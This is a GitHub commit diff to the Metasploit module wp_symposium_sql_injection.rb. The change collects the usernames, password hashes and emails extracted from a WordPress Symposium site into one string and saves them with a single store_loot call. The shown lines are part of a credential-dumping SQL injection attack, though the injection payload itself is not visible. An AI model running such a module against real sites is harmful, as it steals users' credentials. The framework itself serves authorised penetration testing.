Skip to content

Commit f0b5b5a

Browse files
committed
call store_loot once at the end
1 parent ceb7419 commit f0b5b5a

File tree

1 file changed

+8
-2
lines changed

1 file changed

+8
-2
lines changed

modules/auxiliary/admin/http/wp_symposium_sql_injection.rb

Lines changed: 8 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -85,6 +85,8 @@ def run
8585
vprint_status("#{peer} - Last user-id is '#{last_id}'")
8686
end
8787

88+
credentials = ""
89+
8890
vprint_status("#{peer} - Trying to retrieve the users informations...")
8991
for user_id in first_id..last_id
9092
separator = Rex::Text.rand_text_numeric(7,bad='0')
@@ -102,9 +104,13 @@ def run
102104

103105
print_good("#{peer} - #{sprintf("%-15s %-34s %s", user_login, user_pass, user_email)}")
104106

105-
loot = store_loot("wp_symposium.http","text/plain", rhost, "#{user_login},#{user_pass},#{user_email}")
106-
vprint_status("Credentials saved in: #{loot}")
107+
credentials << "#{user_login},#{user_pass},#{user_email}\n"
107108
end
108109
end
110+
111+
if not credentials.empty?
112+
loot = store_loot("wp_symposium.http","text/plain", rhost, credentials)
113+
vprint_status("Credentials saved in: #{loot}")
114+
end
109115
end
110116
end

0 commit comments

Comments
 (0)